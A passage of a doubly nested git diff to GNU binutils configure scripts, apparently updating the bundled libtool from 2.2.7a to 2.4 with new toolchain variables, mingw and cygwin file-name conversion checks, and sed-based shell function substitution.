-@@ -11296,7 +11951,7 @@ else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<_LT_EOF
--#line 11299 "configure"
-+#line $LINENO "configure"
- #include "confdefs.h"
-
- #if HAVE_DLFCN_H
-@@ -11340,10 +11995,10 @@ else
- /* When -fvisbility=hidden is used, assume the code has been annotated
- correspondingly for the symbols needed. */
- #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
--void fnord () __attribute__((visibility("default")));
-+int fnord () __attribute__((visibility("default")));
- #endif
-
--void fnord () { int i=42; }
-+int fnord () { return 42; }
- int main ()
- {
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -13309,13 +13964,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
- lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
- lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
- lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
-+lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
-+lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
- reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
- reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
- OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
- deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
- file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
-+file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
-+want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
-+DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
-+sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
- AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
- AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
-+archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
- STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
- RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
- old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
-@@ -13330,14 +13992,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
- lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
- lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
- lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
-+nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
-+lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
- objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
- MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
--lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
-+lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
- lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
- need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
-+MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
- DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
- NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
- LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
-@@ -13370,12 +14035,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
- hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
- inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
- link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
--fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
- always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
- export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
- exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
- include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
- prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
-+postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
- file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
- variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
- need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
-@@ -13430,8 +14095,13 @@ reload_flag \
- OBJDUMP \
- deplibs_check_method \
- file_magic_cmd \
-+file_magic_glob \
-+want_nocaseglob \
-+DLLTOOL \
-+sharedlib_from_linklib_cmd \
- AR \
- AR_FLAGS \
-+archiver_list_spec \
- STRIP \
- RANLIB \
- CC \
-@@ -13441,12 +14111,14 @@ lt_cv_sys_global_symbol_pipe \
- lt_cv_sys_global_symbol_to_cdecl \
- lt_cv_sys_global_symbol_to_c_name_address \
- lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
-+nm_file_list_spec \
- lt_prog_compiler_no_builtin_flag \
--lt_prog_compiler_wl \
- lt_prog_compiler_pic \
-+lt_prog_compiler_wl \
- lt_prog_compiler_static \
- lt_cv_prog_compiler_c_o \
- need_locks \
-+MANIFEST_TOOL \
- DSYMUTIL \
- NMEDIT \
- LIPO \
-@@ -13462,7 +14134,6 @@ no_undefined_flag \
- hardcode_libdir_flag_spec \
- hardcode_libdir_flag_spec_ld \
- hardcode_libdir_separator \
--fix_srcfile_path \
- exclude_expsyms \
- include_expsyms \
- file_list_spec \
-@@ -13498,6 +14169,7 @@ module_cmds \
- module_expsym_cmds \
- export_symbols_cmds \
- prelink_cmds \
-+postlink_cmds \
- postinstall_cmds \
- postuninstall_cmds \
- finish_cmds \
-@@ -14263,7 +14935,8 @@ $as_echo X"$file" |
- # NOTE: Changes made to this file will be lost: look at ltmain.sh.
- #
- # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
--# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
-+# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
-+# Inc.
- # Written by Gordon Matzigkeit, 1996
- #
- # This file is part of GNU Libtool.
-@@ -14366,19 +15039,42 @@ SP2NL=$lt_lt_SP2NL
- # turn newlines into spaces.
- NL2SP=$lt_lt_NL2SP
-
-+# convert \$build file names to \$host format.
-+to_host_file_cmd=$lt_cv_to_host_file_cmd
-+
-+# convert \$build files to toolchain format.
-+to_tool_file_cmd=$lt_cv_to_tool_file_cmd
-+
- # An object symbol dumper.
- OBJDUMP=$lt_OBJDUMP
-
- # Method to check whether dependent libraries are shared objects.
- deplibs_check_method=$lt_deplibs_check_method
-
--# Command to use when deplibs_check_method == "file_magic".
-+# Command to use when deplibs_check_method = "file_magic".
- file_magic_cmd=$lt_file_magic_cmd
-
-+# How to find potential files when deplibs_check_method = "file_magic".
-+file_magic_glob=$lt_file_magic_glob
-+
-+# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
-+want_nocaseglob=$lt_want_nocaseglob
-+
-+# DLL creation program.
-+DLLTOOL=$lt_DLLTOOL
-+
-+# Command to associate shared and link libraries.
-+sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
-+
- # The archiver.
- AR=$lt_AR
-+
-+# Flags to create an archive.
- AR_FLAGS=$lt_AR_FLAGS
-
-+# How to feed a file listing to the archiver.
-+archiver_list_spec=$lt_archiver_list_spec
-+
- # A symbol stripping program.
- STRIP=$lt_STRIP
-
-@@ -14408,6 +15104,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
- # Transform the output of nm in a C name address pair when lib prefix is needed.
- global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
-
-+# Specify filename containing input files for \$NM.
-+nm_file_list_spec=$lt_nm_file_list_spec
-+
-+# The root where to search for dependent libraries,and in which our libraries should be installed.
-+lt_sysroot=$lt_sysroot
-+
- # The name of the directory that contains temporary libtool files.
- objdir=$objdir
-
-@@ -14417,6 +15119,9 @@ MAGIC_CMD=$MAGIC_CMD
- # Must we lock files when doing compilation?
- need_locks=$lt_need_locks
-
-+# Manifest tool.
-+MANIFEST_TOOL=$lt_MANIFEST_TOOL
-+
- # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
- DSYMUTIL=$lt_DSYMUTIL
-
-@@ -14531,12 +15236,12 @@ with_gcc=$GCC
- # Compiler flag to turn off builtin functions.
- no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
-
--# How to pass a linker flag through the compiler.
--wl=$lt_lt_prog_compiler_wl
--
- # Additional compiler flags for building library objects.
- pic_flag=$lt_lt_prog_compiler_pic
-
-+# How to pass a linker flag through the compiler.
-+wl=$lt_lt_prog_compiler_wl
-+
- # Compiler flag to prevent dynamic linking.
- link_static_flag=$lt_lt_prog_compiler_static
-
-@@ -14623,9 +15328,6 @@ inherit_rpath=$inherit_rpath
- # Whether libtool must link a program against all its dependency libraries.
- link_all_deplibs=$link_all_deplibs
-
--# Fix the shell variable \$srcfile for the compiler.
--fix_srcfile_path=$lt_fix_srcfile_path
--
- # Set to "yes" if exported symbols are required.
- always_export_symbols=$always_export_symbols
-
-@@ -14641,6 +15343,9 @@ include_expsyms=$lt_include_expsyms
- # Commands necessary for linking programs (against libraries) with templates.
- prelink_cmds=$lt_prelink_cmds
-
-+# Commands necessary for finishing linking programs.
-+postlink_cmds=$lt_postlink_cmds
-+
- # Specify filename containing input files.
- file_list_spec=$lt_file_list_spec
-
-@@ -14673,210 +15378,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
- # if finds mixed CR/LF and LF-only lines. Since sed operates in
- # text mode, it properly converts lines to CR/LF. This bash problem
- # is reportedly fixed, but why not run on old versions too?
-- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
-- || (rm -f "$cfgfile"; exit 1)
--
-- case $xsi_shell in
-- yes)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_dirname file append nondir_replacement
--# Compute the dirname of FILE. If nonempty, add APPEND to the result,
--# otherwise set result to NONDIR_REPLACEMENT.
--func_dirname ()
--{
-- case ${1} in
-- */*) func_dirname_result="${1%/*}${2}" ;;
-- * ) func_dirname_result="${3}" ;;
-- esac
--}
--
--# func_basename file
--func_basename ()
--{
-- func_basename_result="${1##*/}"
--}
--
--# func_dirname_and_basename file append nondir_replacement
--# perform func_basename and func_dirname in a single function
--# call:
--# dirname: Compute the dirname of FILE. If nonempty,
--# add APPEND to the result, otherwise set result
--# to NONDIR_REPLACEMENT.
--# value returned in "$func_dirname_result"
--# basename: Compute filename of FILE.
--# value retuned in "$func_basename_result"
--# Implementation must be kept synchronized with func_dirname
--# and func_basename. For efficiency, we do not delegate to
--# those functions but instead duplicate the functionality here.
--func_dirname_and_basename ()
--{
-- case ${1} in
-- */*) func_dirname_result="${1%/*}${2}" ;;
-- * ) func_dirname_result="${3}" ;;
-- esac
-- func_basename_result="${1##*/}"
--}
--
--# func_stripname prefix suffix name
--# strip PREFIX and SUFFIX off of NAME.
--# PREFIX and SUFFIX must not contain globbing or regex special
--# characters, hashes, percent signs, but SUFFIX may contain a leading
--# dot (in which case that matches only a dot).
--func_stripname ()
--{
-- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
-- # positional parameters, so assign one to ordinary parameter first.
-- func_stripname_result=${3}
-- func_stripname_result=${func_stripname_result#"${1}"}
-- func_stripname_result=${func_stripname_result%"${2}"}
--}
--
--# func_opt_split
--func_opt_split ()
--{
-- func_opt_split_opt=${1%%=*}
-- func_opt_split_arg=${1#*=}
--}
--
--# func_lo2o object
--func_lo2o ()
--{
-- case ${1} in
-- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
-- *) func_lo2o_result=${1} ;;
-- esac
--}
--
--# func_xform libobj-or-source
--func_xform ()
--{
-- func_xform_result=${1%.*}.lo
--}
--
--# func_arith arithmetic-term...
--func_arith ()
--{
-- func_arith_result=$(( $* ))
--}
--
--# func_len string
--# STRING may not start with a hyphen.
--func_len ()
--{
-- func_len_result=${#1}
--}
--
--_LT_EOF
-- ;;
-- *) # Bourne compatible functions.
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_dirname file append nondir_replacement
--# Compute the dirname of FILE. If nonempty, add APPEND to the result,
--# otherwise set result to NONDIR_REPLACEMENT.
--func_dirname ()
--{
-- # Extract subdirectory from the argument.
-- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
-- if test "X$func_dirname_result" = "X${1}"; then
-- func_dirname_result="${3}"
-- else
-- func_dirname_result="$func_dirname_result${2}"
-- fi
--}
--
--# func_basename file
--func_basename ()
--{
-- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
--}
--
--
--# func_stripname prefix suffix name
--# strip PREFIX and SUFFIX off of NAME.
--# PREFIX and SUFFIX must not contain globbing or regex special
--# characters, hashes, percent signs, but SUFFIX may contain a leading
--# dot (in which case that matches only a dot).
--# func_strip_suffix prefix name
--func_stripname ()
--{
-- case ${2} in
-- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
-- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
-- esac
--}
--
--# sed scripts:
--my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
--my_sed_long_arg='1s/^-[^=]*=//'
--
--# func_opt_split
--func_opt_split ()
--{
-- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
-- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
--}
--
--# func_lo2o object
--func_lo2o ()
--{
-- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
--}
--
--# func_xform libobj-or-source
--func_xform ()
--{
-- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
--}
--
--# func_arith arithmetic-term...
--func_arith ()
--{
-- func_arith_result=`expr "$@"`
--}
--
--# func_len string
--# STRING may not start with a hyphen.
--func_len ()
--{
-- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
--}
--
--_LT_EOF
--esac
--
--case $lt_shell_append in
-- yes)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_append var value
--# Append VALUE to the end of shell variable VAR.
--func_append ()
--{
-- eval "$1+=\$2"
--}
--_LT_EOF
-- ;;
-- *)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_append var value
--# Append VALUE to the end of shell variable VAR.
--func_append ()
--{
-- eval "$1=\$$1\$2"
--}
--
--_LT_EOF
-- ;;
-- esac
--
--
-- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
-- || (rm -f "$cfgfile"; exit 1)
--
-- mv -f "$cfgfile" "$ofile" ||
-+ sed '$q' "$ltmain" >> "$cfgfile" \
-+ || (rm -f "$cfgfile"; exit 1)
-+
-+ if test x"$xsi_shell" = xyes; then
-+ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
-+func_dirname ()\
-+{\
-+\ case ${1} in\
-+\ */*) func_dirname_result="${1%/*}${2}" ;;\
-+\ * ) func_dirname_result="${3}" ;;\
-+\ esac\
-+} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_basename ()$/,/^} # func_basename /c\
-+func_basename ()\
-+{\
-+\ func_basename_result="${1##*/}"\
-+} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
-+func_dirname_and_basename ()\
-+{\
-+\ case ${1} in\
-+\ */*) func_dirname_result="${1%/*}${2}" ;;\
-+\ * ) func_dirname_result="${3}" ;;\
-+\ esac\
-+\ func_basename_result="${1##*/}"\
-+} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
-+func_stripname ()\
-+{\
-+\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
-+\ # positional parameters, so assign one to ordinary parameter first.\
-+\ func_stripname_result=${3}\
-+\ func_stripname_result=${func_stripname_result#"${1}"}\
-+\ func_stripname_result=${func_stripname_result%"${2}"}\
-+} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
-+func_split_long_opt ()\
-+{\
-+\ func_split_long_opt_name=${1%%=*}\
-+\ func_split_long_opt_arg=${1#*=}\
-+} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
-+func_split_short_opt ()\
-+{\
-+\ func_split_short_opt_arg=${1#??}\
-+\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
-+} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
-+func_lo2o ()\
-+{\
-+\ case ${1} in\
-+\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
-+\ *) func_lo2o_result=${1} ;;\
-+\ esac\
-+} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_xform ()$/,/^} # func_xform /c\
-+func_xform ()\
-+{\
-+ func_xform_result=${1%.*}.lo\
-+} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_arith ()$/,/^} # func_arith /c\
-+func_arith ()\
-+{\
-+ func_arith_result=$(( $* ))\
-+} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_len ()$/,/^} # func_len /c\
-+func_len ()\
-+{\
-+ func_len_result=${#1}\
-+} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+fi
-+
-+if test x"$lt_shell_append" = xyes; then
-+ sed -e '/^func_append ()$/,/^} # func_append /c\
-+func_append ()\
-+{\
-+ eval "${1}+=\\${2}"\
-+} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
-+func_append_quoted ()\
-+{\
-+\ func_quote_for_eval "${2}"\
-+\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
-+} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ # Save a `func_append' function call where possible by direct use of '+='
-+ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+ test 0 -eq $? || _lt_function_replace_fail=:
-+else
-+ # Save a `func_append' function call even when '+=' is not available
-+ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+ test 0 -eq $? || _lt_function_replace_fail=:
-+fi
-+
-+if test x"$_lt_function_replace_fail" = x":"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
-+$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
-+fi
-+
-+
-+ mv -f "$cfgfile" "$ofile" ||
- (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
- chmod +x "$ofile"
-
-diff --git a/ld/configure b/ld/configure
-index 1c872c0db5f..fe938e6c99f 100755
---- a/ld/configure
-+++ b/ld/configure
-@@ -691,8 +691,11 @@ OTOOL
- LIPO
- NMEDIT
- DSYMUTIL
-+MANIFEST_TOOL
- RANLIB
-+ac_ct_AR
- AR
-+DLLTOOL
- OBJDUMP
- LN_S
- NM
-@@ -819,6 +822,7 @@ enable_static
- with_pic
- enable_fast_install
- with_gnu_ld
-+with_libtool_sysroot
- enable_libtool_lock
- enable_plugins
- enable_largefile
-@@ -1520,6 +1524,8 @@ Optional Packages:
- --with-pic try to use only PIC/non-PIC objects [default=use
- both]
- --with-gnu-ld assume the C compiler uses GNU ld [default=no]
-+ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
-+ (or the compiler's sysroot if not specified).
- --with-lib-path=dir1:dir2... set default LIB_PATH
- --with-sysroot=DIR Search for usr/lib et al within DIR.
- --with-system-zlib use installed libz
-@@ -5973,8 +5979,8 @@ esac
-
-
-
--macro_version='2.2.7a'
--macro_revision='1.3134'
-+macro_version='2.4'
-+macro_revision='1.3293'
-
-
-
-@@ -6014,7 +6020,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
- $as_echo_n "checking how to print strings... " >&6; }
- # Test print first, because it will be a builtin if present.
--if test "X`print -r -- -n 2>/dev/null`" = X-n && \
-+if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
- test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
- ECHO='print -r --'
- elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
-@@ -6700,8 +6706,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
- # Try some XSI features
- xsi_shell=no
- ( _lt_dummy="a/b/c"
-- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
-- = c,a/b,, \
-+ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
-+ = c,a/b,b/c, \
- && eval 'test $(( 1 + 1 )) -eq 2 \
- && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
- && xsi_shell=yes
-@@ -6750,6 +6756,80 @@ esac
-
-
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
-+$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
-+if ${lt_cv_to_host_file_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ case $host in
-+ *-*-mingw* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
-+ ;;
-+ *-*-cygwin* )
-+ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
-+ ;;
-+ * ) # otherwise, assume *nix
-+ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
-+ ;;
-+ esac
-+ ;;
-+ *-*-cygwin* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
-+ ;;
-+ *-*-cygwin* )
-+ lt_cv_to_host_file_cmd=func_convert_file_noop
-+ ;;
-+ * ) # otherwise, assume *nix
-+ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
-+ ;;
-+ esac
-+ ;;
-+ * ) # unhandled hosts (and "normal" native builds)
-+ lt_cv_to_host_file_cmd=func_convert_file_noop
-+ ;;
-+esac
-+
-+fi
-+
-+to_host_file_cmd=$lt_cv_to_host_file_cmd
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
-+$as_echo "$lt_cv_to_host_file_cmd" >&6; }
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
-+$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
-+if ${lt_cv_to_tool_file_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ #assume ordinary cross tools, or native build.
-+lt_cv_to_tool_file_cmd=func_convert_file_noop
-+case $host in
-+ *-*-mingw* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
-+ ;;
-+ esac
-+ ;;
-+esac
-+
-+fi
-+
-+to_tool_file_cmd=$lt_cv_to_tool_file_cmd
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
-+$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
-+
-+
-+
-+
-+
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
- $as_echo_n "checking for $LD option to reload object files... " >&6; }
- if ${lt_cv_ld_reload_flag+:} false; then :
-@@ -6766,6 +6846,11 @@ case $reload_flag in
- esac
- reload_cmds='$LD$reload_flag -o $output$reload_objs'
- case $host_os in
-+ cygwin* | mingw* | pw32* | cegcc*)
-+ if test "$GCC" != yes; then
-+ reload_cmds=false
-+ fi
-+ ;;
- darwin*)
- if test "$GCC" = yes; then
